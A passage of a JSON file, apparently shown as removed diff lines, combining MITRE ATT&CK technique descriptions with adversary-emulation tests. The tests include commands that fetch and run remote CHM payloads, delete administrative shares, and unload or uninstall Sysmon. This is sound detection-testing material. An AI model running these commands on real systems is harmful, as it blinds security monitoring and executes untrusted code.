can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess()
[Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable
can be duplicated, and a function in the table (e.g., fnCOPYDATA
) set to the address of a malicious payload (ex: via WriteProcessMemory()
). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable
may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable
to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory()
and NtQueryInformationProcess()
with the parameter set to ProcessBasicInformation
may be used for this technique.(Citation: Lazarus APT January 2022)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution"
- ]
- },
- "atomic_tests": []
- },
- "T1542.004": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc",
- "type": "attack-pattern",
- "created": "2020-10-20T00:05:48.790Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1542.004",
- "url": "https://attack.mitre.org/techniques/T1542/004"
- },
- {
- "source_name": "Cisco Synful Knock Evolution",
- "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
- "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- }
- ],
- "modified": "2020-10-22T02:18:19.568Z",
- "name": "ROMMONkit",
- "description": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Firmware: Firmware Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1218.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
- "type": "attack-pattern",
- "created": "2020-01-23T18:53:54.377Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1218.001",
- "url": "https://attack.mitre.org/techniques/T1218/001"
- },
- {
- "source_name": "Microsoft HTML Help May 2018",
- "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.",
- "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"
- },
- {
- "source_name": "Microsoft HTML Help ActiveX",
- "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.",
- "url": "https://msdn.microsoft.com/windows/desktop/ms644670"
- },
- {
- "source_name": "Microsoft HTML Help Executable Program",
- "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.",
- "url": "https://msdn.microsoft.com/windows/desktop/ms524405"
- },
- {
- "source_name": "MsitPros CHM Aug 2017",
- "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
- "url": "https://msitpros.com/?p=3909"
- },
- {
- "source_name": "Microsoft CVE-2017-8625 Aug 2017",
- "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.",
- "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625"
- }
- ],
- "modified": "2022-03-11T18:59:36.836Z",
- "name": "Signed Binary Proxy Execution: Compiled HTML File",
- "description": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "File: File Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Digital Certificate Validation",
- "Application control"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1218.001"
- },
- "atomic_tests": [
- {
- "name": "Compiled HTML Help Local Payload",
- "auto_generated_guid": "5cb87818-0d7c-4469-b7ef-9224107aebe8",
- "description": "Uses hh.exe to execute a local compiled HTML Help payload.\nUpon execution calc.exe will open\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "local_chm_file": {
- "description": "Local .chm payload",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The payload must exist on disk at specified location (#{local_chm_file})\n",
- "prereq_command": "if (Test-Path #{local_chm_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{local_chm_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm\" -OutFile \"#{local_chm_file}\"\n"
- }
- ],
- "executor": {
- "command": "hh.exe #{local_chm_file}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Compiled HTML Help Remote Payload",
- "auto_generated_guid": "0f8af516-9818-4172-922b-42986ef1e81d",
- "description": "Uses hh.exe to execute a remote compiled HTML Help payload.\nUpon execution displays an error saying the file cannot be open\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_chm_file": {
- "description": "Remote .chm payload",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.001/src/T1218.001.chm"
- }
- },
- "executor": {
- "command": "hh.exe #{remote_chm_file}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Invoke CHM with default Shortcut Command Execution",
- "auto_generated_guid": "29d6f0d7-be63-4482-8827-ea77126c1ef7",
- "description": "Executes a CHM file with the default Shortcut Command method.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "chm_file_path": {
- "description": "Default path of CHM",
- "type": "string",
- "default": "Test.chm"
- },
- "hh_file_path": {
- "description": "path of modified HH.exe",
- "type": "path",
- "default": "$env:windir\\hh.exe"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}",
- "name": "powershell"
- }
- },
- {
- "name": "Invoke CHM with InfoTech Storage Protocol Handler",
- "auto_generated_guid": "b4094750-5fc7-4e8e-af12-b4e36bf5e7f6",
- "description": "Executes a CHM file with the ITS protocol handler.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "hh_file_path": {
- "description": "path of modified HH.exe",
- "type": "path",
- "default": "$env:windir\\hh.exe"
- },
- "infotech_storage_handler": {
- "description": "Default InfoTech Storage Protocol Handler",
- "type": "string",
- "default": "its"
- },
- "chm_file_path": {
- "description": "Default path of CHM",
- "type": "string",
- "default": "Test.chm"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}",
- "name": "powershell"
- }
- },
- {
- "name": "Invoke CHM Simulate Double click",
- "auto_generated_guid": "5decef42-92b8-4a93-9eb2-877ddcb9401a",
- "description": "Executes a CHM file simulating a user double click.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "chm_file_path": {
- "description": "Default path of CHM",
- "type": "string",
- "default": "Test.chm"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}",
- "name": "powershell"
- }
- },
- {
- "name": "Invoke CHM with Script Engine and Help Topic",
- "auto_generated_guid": "4f83adda-f5ec-406d-b318-9773c9ca92e5",
- "description": "Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "topic_extension": {
- "description": "Default Help Topic",
- "type": "string",
- "default": "html"
- },
- "hh_file_path": {
- "description": "path of modified HH.exe",
- "type": "path",
- "default": "$env:windir\\hh.exe"
- },
- "infotech_storage_handler": {
- "description": "Default InfoTech Storage Protocol Handler",
- "type": "string",
- "default": "its"
- },
- "script_engine": {
- "description": "Default Script Engine",
- "type": "string",
- "default": "JScript"
- },
- "chm_file_path": {
- "description": "Default path of CHM",
- "type": "string",
- "default": "Test.chm"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}",
- "name": "powershell"
- }
- },
- {
- "name": "Invoke CHM Shortcut Command with ITS and Help Topic",
- "auto_generated_guid": "15756147-7470-4a83-87fb-bb5662526247",
- "description": "Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "topic_extension": {
- "description": "Default Help Topic",
- "type": "string",
- "default": "html"
- },
- "hh_file_path": {
- "description": "path of modified HH.exe",
- "type": "path",
- "default": "$env:windir\\hh.exe"
- },
- "infotech_storage_handler": {
- "description": "Default InfoTech Storage Protocol Handler",
- "type": "string",
- "default": "its"
- },
- "chm_file_path": {
- "description": "Default path of CHM",
- "type": "string",
- "default": "Test.chm"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}",
- "name": "powershell"
- }
- },
- {
- "name": "Decompile Local CHM File",
- "auto_generated_guid": "20cb05e0-1fa5-406d-92c1-84da4ba01813",
- "description": "Uses hh.exe to decompile a local compiled HTML Help file.\nUpon successful execution the chm file will decompile to disk.\nReference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "local_chm_file": {
- "description": "Local .chm payload",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The payload must exist on disk at specified location (#{local_chm_file})\n",
- "prereq_command": "if (Test-Path #{local_chm_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{local_chm_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm\" -OutFile \"#{local_chm_file}\"\n"
- }
- ],
- "executor": {
- "command": "hh.exe -decompile %temp% #{local_chm_file}\n",
- "cleanup_command": "del %temp%\\T1218.001.html >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1070.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c",
- "type": "attack-pattern",
- "created": "2020-01-31T12:39:18.816Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1070.005",
- "url": "https://attack.mitre.org/techniques/T1070/005"
- },
- {
- "url": "https://technet.microsoft.com/bb490717.aspx",
- "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
- "source_name": "Technet Net Use"
- }
- ],
- "modified": "2021-02-09T13:31:01.970Z",
- "name": "Indicator Removal on Host: Network Share Connection Removal",
- "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete
command. (Citation: Technet Net Use)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use
commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Command: Command Execution",
- "Network Traffic: Network Traffic Content",
- "Process: Process Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_system_requirements": [
- "Established network share connection to a remote system. Level of access depends on permissions of the account used."
- ],
- "identifier": "T1070.005"
- },
- "atomic_tests": [
- {
- "name": "Add Network Share",
- "auto_generated_guid": "14c38f32-6509-46d8-ab43-d53e32d2b131",
- "description": "Add a Network Share utilizing the command_prompt\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "share_name": {
- "description": "Share to add.",
- "type": "string",
- "default": "\\\\test\\share"
- }
- },
- "executor": {
- "command": "net use c: #{share_name}\nnet share test=#{share_name} /REMARK:\"test share\" /CACHE:No\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Remove Network Share",
- "auto_generated_guid": "09210ad5-1ef2-4077-9ad3-7351e13e9222",
- "description": "Removes a Network Share utilizing the command_prompt\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "share_name": {
- "description": "Share to remove.",
- "type": "string",
- "default": "\\\\test\\share"
- }
- },
- "executor": {
- "command": "net share #{share_name} /delete\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Remove Network Share PowerShell",
- "auto_generated_guid": "0512d214-9512-4d22-bde7-f37e058259b3",
- "description": "Removes a Network Share utilizing PowerShell\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "share_name": {
- "description": "Share to remove.",
- "type": "string",
- "default": "\\\\test\\share"
- }
- },
- "executor": {
- "command": "Remove-SmbShare -Name #{share_name}\nRemove-FileShare -Name #{share_name}\n",
- "name": "powershell"
- }
- },
- {
- "name": "Disable Administrative Share Creation at Startup",
- "auto_generated_guid": "99c657aa-ebeb-4179-a665-69288fdd12b8",
- "description": "Administrative shares are hidden network shares created by Microsoft\u2019s Windows NT operating systems that grant system administrators \nremote access to every disk volume on a network-connected system. These shares are automatically created at started unless they have been\npurposefully disabled as is done in this Atomic test. As Microsoft puts it, \"Missing administrative shares typically \nindicate that the computer in question has been compromised by malicious software.\"\nhttps://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareServer /t REG_DWORD /d 0 /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareWks /t REG_DWORD /d 0 /f\n",
- "cleanup_command": "reg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareServer /f\nreg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareWks /f\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Remove Administrative Shares",
- "auto_generated_guid": "4299eff5-90f1-4446-b2f3-7f4f5cfd5d62",
- "description": "Administrative shares are hidden network shares created by Microsoft\u2019s Windows NT operating systems that grant system administrators \nremote access to every disk volume on a network-connected system. As Microsoft puts it, \u201cMissing administrative shares typically \nindicate that the computer in question has been compromised by malicious software.\nhttps://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "for %i in (C$ IPC$ ADMIN$) do net share %i /delete",
- "cleanup_command": "net share ADMIN$ /UNLIMITED >nul 2>&1\nnet share C$=C:\\ >nul 2>&1\nnet share IPC$ >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1562.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux",
- "Containers",
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Gordon Long, Box, Inc., @ethicalhax",
- "Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security",
- "Nathaniel Quist, Palo Alto Networks",
- "Gal Singer, @galsinger29, Team Nautilus Aqua Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
- "type": "attack-pattern",
- "created": "2020-02-21T20:32:20.810Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1562.001",
- "url": "https://attack.mitre.org/techniques/T1562/001"
- },
- {
- "external_id": "CAPEC-578",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/578.html"
- },
- {
- "source_name": "OutFlank System Calls",
- "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/",
- "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021."
- },
- {
- "source_name": "MDSec System Calls",
- "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/",
- "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021."
- }
- ],
- "modified": "2021-10-18T21:27:48.159Z",
- "name": "Impair Defenses: Disable or Modify Tools",
- "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\n\nLack of expected log events may be suspicious.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Service: Service Metadata",
- "Command: Command Execution",
- "Process: Process Termination",
- "Sensor Health: Host Status",
- "Windows Registry: Windows Registry Key Deletion"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Log analysis",
- "Signature-based detection",
- "Host intrusion prevention systems",
- "File monitoring"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1562.001"
- },
- "atomic_tests": [
- {
- "name": "Unload Sysmon Filter Driver",
- "auto_generated_guid": "811b3e76-c41b-430c-ac0d-e2380bfaa164",
- "description": "Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, o verify successful execution,\nrun the prereq_command's and it should fail with an error of \"sysmon filter must be loaded\".\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "sysmon_driver": {
- "description": "The name of the Sysmon filter driver (this can change from the default)",
- "type": "string",
- "default": "SysmonDrv"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Sysmon must be downloaded\n",
- "prereq_command": "if ((cmd.exe /c \"where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul\") -or (Test-Path $env:Temp\\Sysmon\\Sysmon.exe)) { exit 0 } else { exit 1 }\n",
- "get_prereq_command": "Invoke-WebRequest \"https://download.sysinternals.com/files/Sysmon.zip\" -OutFile \"$env:TEMP\\Sysmon.zip\"\nExpand-Archive $env:TEMP\\Sysmon.zip $env:TEMP\\Sysmon -Force\nRemove-Item $env:TEMP\\Sysmon.zip -Force\n"
- },
- {
- "description": "sysmon must be Installed\n",
- "prereq_command": "if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 }\n",
- "get_prereq_command": "if(cmd.exe /c \"where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul\") { C:\\Windows\\Sysmon.exe -accepteula -i } else\n{ Set-Location $env:TEMP\\Sysmon\\; .\\Sysmon.exe -accepteula -i}\n"
- },
- {
- "description": "sysmon filter must be loaded\n",
- "prereq_command": "if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit 1 }\n",
- "get_prereq_command": "sysmon -u\nsysmon -accepteula -i\n"
- }
- ],
- "executor": {
- "command": "fltmc.exe unload #{sysmon_driver}\n",
- "cleanup_command": "sysmon -u -i > nul 2>&1\nsysmon -i -accepteula -i > nul 2>&1\n%temp%\\Sysmon\\sysmon.exe -u > nul 2>&1\n%temp%\\Sysmon\\sysmon.exe -accepteula -i > nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Uninstall Sysmon",
- "auto_generated_guid": "a316fb2e-5344-470d-91c1-23e15c374edc",
- "description": "Uninstall Sysinternals Sysmon for Defense Evasion\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "sysmon_exe": {
- "description": "The location of the Sysmon executable from Sysinternals (ignored if sysmon.exe is found in your PATH)",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1562.001\\bin\\sysmon.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Sysmon executable must be available\n",
- "prereq_command": "if(cmd /c where sysmon) {exit 0} else {exit 1}\n",
- "get_prereq_command": "$parentpath = Split-Path \"#{sysmon_exe}\"; $zippath = \"$parentpath\\Sysmon.zip\"\nNew-Item -ItemType Directory $parentpath -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/Sysmon.zip\" -OutFile \"$zippath\"\nExpand-Archive $zippath $parentpath -Force; Remove-Item $zippath\nif(-not ($Env:Path).contains($parentpath)){$Env:Path += \";$parentpath\"}\n"
- },
- {
- "description": "Sysmon must be installed\n",
- "prereq_command": "if(cmd /c sc query sysmon) { exit 0} else { exit 1}\n",
- "get_prereq_command": "cmd /c sysmon -i -accepteula\n"
- }
- ],
- "executor": {
- "command": "sysmon -u\n",
